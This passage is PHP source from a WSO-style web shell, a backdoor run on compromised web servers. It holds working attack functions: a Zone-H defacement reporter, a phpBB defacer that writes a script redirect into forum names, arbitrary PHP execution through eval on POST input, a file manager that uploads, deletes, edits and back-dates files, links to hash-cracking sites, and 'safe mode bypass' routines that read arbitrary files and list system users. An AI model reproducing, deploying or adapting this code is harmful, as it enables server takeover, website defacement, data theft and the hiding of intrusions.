2526<option value="9" >FTP Server intrusion</option>
2527<option value="10" >SSH Server intrusion</option>
2528<option value="11" >Telnet Server intrusion</option>
2529<option value="12" >RPC Server intrusion</option>
2530<option value="13" >Shares misconfiguration</option>
2531<option value="14" >Other Server intrusion</option>
2532<option value="15" >SQL Injection</option>
2533<option value="16" >URL Poisoning</option>
2534<option value="17" >File Inclusion</option>
2535<option value="18" >Other Web Application bug</option>
2536<option value="19" >Remote administrative panel access bruteforcing</option>
2537<option value="20" >Remote administrative panel access password guessing</option>
2538<option value="21" >Remote administrative panel access social engineering</option>
2539<option value="22" >Attack against administrator(password stealing/sniffing)</option>
2540<option value="23" >Access credentials through Man In the Middle attack</option>
2541<option value="24" >Remote service password guessing</option>
2542<option value="25" >Remote service password bruteforce</option>
2543<option value="26" >Rerouting after attacking the Firewall</option>
2544<option value="27" >Rerouting after attacking the Router</option>
2545<option value="28" >DNS attack through social engineering</option>
2546<option value="29" >DNS attack through cache poisoning</option>
2547<option value="30" >Not available</option>
2548</select>
2549<select name="reason" class="inputz" >
2550<option >------------- Select ---------------</option>
2551<option value="1" >Heh...just for fun!</option>
2552<option value="2" >Revenge against that website</option>
2553<option value="3" >Political reasons</option>
2554<option value="4" >As a challenge</option>
2555<option value="5" >I just want to be the best defacer</option>
2556<option value="6" >Patriotism</option>
2557<option value="7" >Not available</option>
2558</select>
2559<input type="hidden" name="action" value="zone">
2560<center><textarea name="domain" cols="116" rows="9" id="domains">-Jijle3 : Sites Here</textarea>
2561<br /><input type="hidden" name="a" value="zoneh"><input class='inputzbut' type="submit" value="Send'it Please !" name="SendNowToZoneH" /><br></center></table>
2562</form></td></tr></table></form>
2563<!-- End Of Zone-H -->
2564</td></center><br><br>
2565<?php
2566 echo '<center>';
2567 ob_start();
2568 $sub = get_loaded_extensions();
2569 if (!in_array("curl", $sub)) {
2570 die('[-] Curl Is Not Supported !! ');
2571 }
2572 $hacker = $_POST['defacer'];
2573 $method = $_POST['hackmode'];
2574 $neden = $_POST['reason'];
2575 $site = $_POST['domain'];
2576 if (empty($hacker)) {
2577 die("[-] You Must Fill the Attacker name !");
2578 } elseif ($method == "--------SELECT--------") {
2579 die("[-] You Must Select The Method !");
2580 } elseif ($neden == "--------SELECT--------") {
2581 die("[-] You Must Select The Reason");
2582 } elseif (empty($site)) {
2583 die("[-] You Must Inter the Sites List ! ");
2584 }
2585 $i = 0;
2586 $sites = explode("
2587", $site);
2588 while ($i < count($sites)) {
2589 if (substr($sites[$i], 0, 4) != "http") {
2590 $sites[$i] = "http://" . $sites[$i];
2591 }
2592 ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
2593 echo "Site : " . $sites[$i] . " Defaced !
2594";
2595 ++$i;
2596 }
2597 echo "[+] Sending Sites To Zone-H.org Has Been Completed Successfully ! ! ";
2598 echo '</center>';
2599 }
2600 wsoFooter();
2601 }
2602 ######################### phpbb defacer ###########################
2603 function actionphpbb() {
2604 wsoHeader();
2605 echo '<center><h1> PHPBB index Changer </h1>
2606<form method = "POST">
2607<table border = "1" width="443" height="316" style="text-align: center" align="center">
2608<tr>
2609<td height="105" width="780">
2610<p align="center"><b>Host : </b>
2611<input type="text" name="f5" size="20" value="localhost"> <b>
2612DataBase :</b> <input type ="text" name = "f6" size="20"></p>
2613<p align="center"> <b>User :</b> <input type ="text" name = "f7" size="20">
2614<b> Password :</b> <input type ="text" name = "f8" size="20"><p align="center">
2615<b>Table Prefix:</b><br>
2616<input type ="text" name = "f9" size="20" value="phpbb_forums"></td>
2617</tr>
2618<tr>
2619<td height="167" width="780"><p align="center"> <textarea name="index2" cols=50 rows=10> <br><center>Hacked By Phenomene Dz <br><center>[ Martyrs Crew ]<br>#Algerian Hacker <br><center>#Free Pilastine <br><center>#www.fb.com/J1jeI
2620 </textarea><p align="center"><input type="hidden" name="a" value="phpbb"><input type = "submit" value = "Deface !">
2621<input type = "reset" value = "Clear"></td>
2622</tr>
2623</tr>', $localhost2 = $_POST['f5'];
2624 $database2 = $_POST['f6'];
2625 $username2 = $_POST['f7'];
2626 $password2 = $_POST['f8'];
2627 $index2 = $_POST['index2'];
2628 $phpbb = $_POST['f9'];
2629 if ($database2 = $_POST['f6']) {
2630 $con2 = @mysql_connect($localhost2, $username2, $password2) or die;
2631 $db2 = @mysql_select_db($database2, $con2) or die;
2632 $query2 = "UPDATE $phpbb SET forum_name = '<script>location.href=\"$index2\"</script>'" or die;
2633 $result2 = @mysql_query($query2, $con2);
2634 if ($result2) {
2635 echo "<p align='center'>
2636<marquee behavior='alternate' bgcolor='#FF0000' style='color: #000000; font-weight: bold'>[ Mr.511 ]----[ Update Finish ]----[ Mr.511 ]</marquee></p>";
2637 } else {
2638 echo "<p align='center'><marquee behavior='alternate' bgcolor='#FF0000' style='color: #000000; font-weight: bold'>[ Mr.511 ]----[ Please Check Database Information ]----[ Mr.511 ]</marquee></p>";
2639 }
2640 }
2641 //Greetz to FoX HACKER
2642 //Coded by Mr.511
2643 //x08d@hotmail.CoM
2644 wsoFooter();
2645 }
2646 ##########################################################
2647 function actionPhp() {
2648 if (isset($_POST['ajax'])) {
2649 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
2650 ob_start();
2651 eval($_POST['p1']);
2652 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
2653
2654 \'") . "';
2655";
2656 echo strlen($temp), "
2657", $temp;
2658 exit;
2659 }
2660 wsoHeader();
2661 if (isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
2662 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
2663 ob_start();
2664 phpinfo();
2665 $tmp = ob_get_clean();
2666 $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '', $tmp);
2667 $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
2668 echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
2669 }
2670 if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
2671 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Exec style="margin-top:5px">';
2672 echo ' <input type=checkbox name=ajax value=1 ' . ($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
2673 if (!empty($_POST['p1'])) {
2674 ob_start();
2675 eval($_POST['p1']);
2676 echo htmlspecialchars(ob_get_clean());
2677 }
2678 echo '</pre></div>';
2679 wsoFooter();
2680 }
2681 function actionFilesMan() {
2682 wsoHeader();
2683 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
2684 if (!empty($_POST['p1'])) {
2685 switch ($_POST['p1']) {
2686 case 'uploadFile':
2687 if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
2688 break;
2689 case 'mkdir':
2690 if (!@mkdir($_POST['p2'])) echo "Can't create new dir";
2691 break;
2692 case 'delete':
2693 function deleteDir($path) {
2694 $path = (substr($path, -1) == '/') ? $path : $path . '/';
2695 $dh = opendir($path);
2696 while (($item = readdir($dh)) !== false) {
2697 $item = $path . $item;
2698 if ((basename($item) == "..") || (basename($item) == ".")) continue;
2699 $type = filetype($item);
2700 if ($type == "dir") deleteDir($item);
2701 else @unlink($item);
2702 }
2703 closedir($dh);
2704 @rmdir($path);
2705 }
2706 if (is_array(@$_POST['f'])) foreach ($_POST['f'] as $f) {
2707 if ($f == '..') continue;
2708 $f = urldecode($f);
2709 if (is_dir($f)) deleteDir($f);
2710 else @unlink($f);
2711 }
2712 break;
2713 case 'paste':
2714 if ($_SESSION['act'] == 'copy') {
2715 function copy_paste($c, $s, $d) {
2716 if (is_dir($c . $s)) {
2717 mkdir($d . $s);
2718 $h = @opendir($c . $s);
2719 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
2720 } elseif (is_file($c . $s)) @copy($c . $s, $d . $s);
2721 }
2722 foreach ($_SESSION['f'] as $f) copy_paste($_SESSION['c'], $f, $GLOBALS['cwd']);
2723 } elseif ($_SESSION['act'] == 'move') {
2724 function move_paste($c, $s, $d) {
2725 if (is_dir($c . $s)) {
2726 mkdir($d . $s);
2727 $h = @opendir($c . $s);
2728 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
2729 } elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
2730 }
2731 foreach ($_SESSION['f'] as $f) @rename($_SESSION['c'] . $f, $GLOBALS['cwd'] . $f);
2732 } elseif ($_SESSION['act'] == 'zip') {
2733 if (class_exists('ZipArchive')) {
2734 $zip = new ZipArchive();
2735 if ($zip->open($_POST['p2'], 1)) {
2736 chdir($_SESSION['c']);
2737 foreach ($_SESSION['f'] as $f) {
2738 if ($f == '..') continue;
2739 if (@is_file($_SESSION['c'] . $f)) $zip->addFile($_SESSION['c'] . $f, $f);
2740 elseif (@is_dir($_SESSION['c'] . $f)) {
2741 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/'));
2742 foreach ($iterator as $key => $value) {
2743 $zip->addFile(realpath($key), $key);
2744 }
2745 }
2746 }
2747 chdir($GLOBALS['cwd']);
2748 $zip->close();
2749 }
2750 }
2751 } elseif ($_SESSION['act'] == 'unzip') {
2752 if (class_exists('ZipArchive')) {
2753 $zip = new ZipArchive();
2754 foreach ($_SESSION['f'] as $f) {
2755 if ($zip->open($_SESSION['c'] . $f)) {
2756 $zip->extractTo($GLOBALS['cwd']);
2757 $zip->close();
2758 }
2759 }
2760 }
2761 } elseif ($_SESSION['act'] == 'tar') {
2762 chdir($_SESSION['c']);
2763 $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
2764 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
2765 chdir($GLOBALS['cwd']);
2766 }
2767 unset($_SESSION['f']);
2768 break;
2769 default:
2770 if (!empty($_POST['p1'])) {
2771 $_SESSION['act'] = @$_POST['p1'];
2772 $_SESSION['f'] = @$_POST['f'];
2773 foreach ($_SESSION['f'] as $k => $f) $_SESSION['f'][$k] = urldecode($f);
2774 $_SESSION['c'] = @$_POST['c'];
2775 }
2776 break;
2777 }
2778 }
2779 $dirContent = @scandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
2780 if ($dirContent === false) {
2781 echo 'Can\'t open this folder!';
2782 wsoFooter();
2783 return;
2784 }
2785 global $sort;
2786 $sort = array('name', 1);
2787 if (!empty($_POST['p1'])) {
2788 if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]);
2789 }
2790 echo "<script>
2791 function sa() {
2792 for(i=0;i<d.files.elements.length;i++)
2793 if(d.files.elements[i].type == 'checkbox')
2794 d.files.elements[i].checked = d.files.elements[0].checked;
2795 }
2796</script>
2797<table width='100%' class='main' cellspacing='0' cellpadding='2'>
2798<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
2799 $dirs = $files = array();
2800 $n = count($dirContent);
2801 for ($i = 0;$i < $n;$i++) {
2802 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
2803 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
2804 $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
2805 if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file'));
2806 elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
2807 elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && ($dirContent[$i] != ".")) $dirs[] = array_merge($tmp, array('type' => 'dir'));
2808 }
2809 $GLOBALS['sort'] = $sort;
2810 function wsoCmp($a, $b) {
2811 if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
2812 else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
2813 }
2814 usort($files, "wsoCmp");
2815 usort($dirs, "wsoCmp");
2816 $files = array_merge($dirs, $files);
2817 $l = 0;
2818 foreach ($files as $f) {
2819 echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
2820 $l = $l ? 0 : 1;
2821 }
2822 echo "<tr><td colspan=7>
2823
2824 <input type=hidden name=a value='FilesMan'>
2825 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
2826 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
2827 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
2828 if (class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
2829 echo "<option value='tar'>Compress (tar.gz)</option>";
2830 if (!empty($_SESSION['act']) && @count($_SESSION['f'])) echo "<option value='paste'>Paste / Compress</option>";
2831 echo "</select> ";
2832 if (!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar'))) echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip' ? 'zip' : 'tar.gz') . "'> ";
2833 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
2834 wsoFooter();
2835 }
2836 ########################## String ##############################
2837 function actionStringTools() {
2838 if (!function_exists('hex2bin')) {
2839 function hex2bin($p) {
2840 return decbin(hexdec($p));
2841 }
2842 }
2843 if (!function_exists('binhex')) {
2844 function binhex($p) {
2845 return dechex(bindec($p));
2846 }
2847 }
2848 if (!function_exists('hex2ascii')) {
2849 function hex2ascii($p) {
2850 $r = '';
2851 for ($i = 0;$i < strLen($p);$i+= 2) {
2852 $r.= chr(hexdec($p[$i] . $p[$i + 1]));
2853 }
2854 return $r;
2855 }
2856 }
2857 if (!function_exists('ascii2hex')) {
2858 function ascii2hex($p) {
2859 $r = '';
2860 for ($i = 0;$i < strlen($p);++$i) $r.= sprintf('%02X', ord($p[$i]));
2861 return strtoupper($r);
2862 }
2863 }
2864 if (!function_exists('full_urlencode')) {
2865 function full_urlencode($p) {
2866 $r = '';
2867 for ($i = 0;$i < strlen($p);++$i) $r.= '%' . dechex(ord($p[$i]));
2868 return strtoupper($r);
2869 }
2870 }
2871 $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen',);
2872 if (isset($_POST['ajax'])) {
2873 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
2874 ob_start();
2875 if (in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']);
2876 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
2877
2878 \'") . "';
2879";
2880 echo strlen($temp), "
2881", $temp;
2882 exit;
2883 }
2884 wsoHeader();
2885 echo '<h1>String conversions</h1><div class=content>';
2886 if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
2887 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
2888 foreach ($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
2889 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
2890 if (!empty($_POST['p1'])) {
2891 if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
2892 }
2893 function wsoRecursiveGlob($path) {
2894 if (substr($path, -1) != '/') $path.= '/';
2895 $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
2896 if (is_array($paths) && @count($paths)) {
2897 foreach ($paths as $item) {
2898 if (@is_dir($item)) {
2899 if ($path != $item) wsoRecursiveGlob($item);
2900 } else {
2901 if (@strpos(@file_get_contents($item), @$_POST['p2']) !== false) echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\")'>" . htmlspecialchars($item) . "</a><br>";
2902 }
2903 }
2904 }
2905 }
2906 if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']);
2907 echo "</div><br><h1>Best Hash Search Engine :</h1><div class=content>
2908
2909 <form method='post' target='_blank' name='hf'>
2910 <input type='text' name='hash' style='width:200px;'><br>
2911 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
2912 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
2913 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
2914 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
2915 </form></div>";
2916 wsoFooter();
2917 }
2918 function actionFilesTools() {
2919 if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
2920 if (@$_POST['p2'] == 'download') {
2921 if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
2922 ob_start("ob_gzhandler", 4096);
2923 header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
2924 if (function_exists("mime_content_type")) {
2925 $type = @mime_content_type($_POST['p1']);
2926 header("Content-Type: " . $type);
2927 } else header("Content-Type: application/octet-stream");
2928 $fp = @fopen($_POST['p1'], "r");
2929 if ($fp) {
2930 while (!@feof($fp)) echo @fread($fp, 1024);
2931 fclose($fp);
2932 }
2933 }
2934 exit;
2935 }
2936 if (@$_POST['p2'] == 'mkfile') {
2937 if (!file_exists($_POST['p1'])) {
2938 $fp = @fopen($_POST['p1'], 'w');
2939 if ($fp) {
2940 $_POST['p2'] = "edit";
2941 fclose($fp);
2942 }
2943 }
2944 }
2945 wsoHeader();
2946 echo '<h1>File Tools</h1><div class=content>';
2947 if (!file_exists(@$_POST['p1'])) {
2948 echo 'File not exists';
2949 wsoFooter();
2950 return;
2951 }
2952 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
2953 if (!$uid) {
2954 $uid['name'] = @fileowner($_POST['p1']);
2955 $gid['name'] = @filegroup($_POST['p1']);
2956 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
2957 echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
2958 echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
2959 if (empty($_POST['p2'])) $_POST['p2'] = 'view';
2960 if (is_file($_POST['p1'])) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
2961 else $m = array('Chmod', 'Rename', 'Touch');
2962 foreach ($m as $v) echo '<a href=# onclick="g(null,null,null,\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
2963 echo '<br><br>';
2964 switch ($_POST['p2']) {
2965 case 'view':
2966 echo '<pre class=ml1>';
2967 $fp = @fopen($_POST['p1'], 'r');
2968 if ($fp) {
2969 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
2970 @fclose($fp);
2971 }
2972 echo '</pre>';
2973 break;
2974 case 'highlight':
2975 if (@is_readable($_POST['p1'])) {
2976 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
2977 $code = @highlight_file($_POST['p1'], true);
2978 echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
2979 }
2980 break;
2981 case 'chmod':
2982 if (!empty($_POST['p3'])) {
2983 $perms = 0;
2984 for ($i = strlen($_POST['p3']) - 1;$i >= 0;--$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
2985 if (!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
2986 }
2987 clearstatcache();
2988 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
2989 break;
2990 case 'edit':
2991 if (!is_writable($_POST['p1'])) {
2992 echo 'File isn\'t writeable';
2993 break;
2994 }
2995 if (!empty($_POST['p3'])) {
2996 $time = @filemtime($_POST['p1']);
2997 $_POST['p3'] = substr($_POST['p3'], 1);
2998 $fp = @fopen($_POST['p1'], "w");
2999 if ($fp) {
3000 @fwrite($fp, $_POST['p3']);
3001 @fclose($fp);
3002 echo 'Saved!<br><script>p3_="";</script>';
3003 @touch($_POST['p1'], $time, $time);
3004 }
3005 }
3006 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
3007 $fp = @fopen($_POST['p1'], 'r');
3008 if ($fp) {
3009 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
3010 @fclose($fp);
3011 }
3012 echo '</textarea><input type=submit value=">>"></form>';
3013 break;
3014 case 'hexdump':
3015 $c = @file_get_contents($_POST['p1']);
3016 $n = 0;
3017 $h = array('00000000<br>', '', '');
3018 $len = strlen($c);
3019 for ($i = 0;$i < $len;++$i) {
3020 $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
3021 switch (ord($c[$i])) {
3022 case 0:
3023 $h[2].= ' ';
3024 break;
3025 case 9:
3026 $h[2].= ' ';
3027 break;
3028 case 10:
3029 $h[2].= ' ';
3030 break;
3031 case 13:
3032 $h[2].= ' ';
3033 break;
3034 default:
3035 $h[2].= $c[$i];
3036 break;
3037 }
3038 $n++;
3039 if ($n == 32) {
3040 $n = 0;
3041 if ($i + 1 < $len) {
3042 $h[0].= sprintf('%08X', $i + 1) . '<br>';
3043 }
3044 $h[1].= '<br>';
3045 $h[2].= "
3046";
3047 }
3048 }
3049 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
3050 break;
3051 case 'rename':
3052 if (!empty($_POST['p3'])) {
3053 if (!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br>';
3054 else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
3055 }
3056 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
3057 break;
3058 case 'touch':
3059 if (!empty($_POST['p3'])) {
3060 $time = strtotime($_POST['p3']);
3061 if ($time) {
3062 if (!touch($_POST['p1'], $time, $time)) echo 'Fail!';
3063 else echo 'Touched!';
3064 } else echo 'Bad time format!';
3065 }
3066 clearstatcache();
3067 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
3068 break;
3069 }
3070 echo '</div>';
3071 wsoFooter();
3072 }
3073 function actionSafeMode() {
3074 $temp = '';
3075 ob_start();
3076 switch ($_POST['p1']) {
3077 case 1:
3078 $temp = @tempnam($test, 'cx');
3079 if (@copy("compress.zlib://" . $_POST['p2'], $temp)) {
3080 echo @file_get_contents($temp);
3081 unlink($temp);
3082 } else echo 'Sorry... Can\'t open file';
3083 break;
3084 case 2:
3085 $files = glob($_POST['p2'] . '*');
3086 if (is_array($files)) foreach ($files as $filename) echo $filename . "
3087";
3088 break;
3089 case 3:
3090 $ch = curl_init("file://" . $_POST['p2'] . "" . preg_replace('!\(\d+\)\s.*!', '', __FILE__));
3091 curl_exec($ch);
3092 break;
3093 case 4:
3094 ini_restore("safe_mode");
3095 ini_restore("open_basedir");
3096 include ($_POST['p2']);
3097 break;
3098 case 5:
3099 for (;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
3100 $uid = @posix_getpwuid($_POST['p2']);
3101 if ($uid) echo join(':', $uid) . "
3102";
3103 }
3104 break;
3105 }
3106 $temp = ob_get_clean();
3107 wsoHeader();
3108 echo '<h1>Safe mode bypass</h1><div class=content>';
3109 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
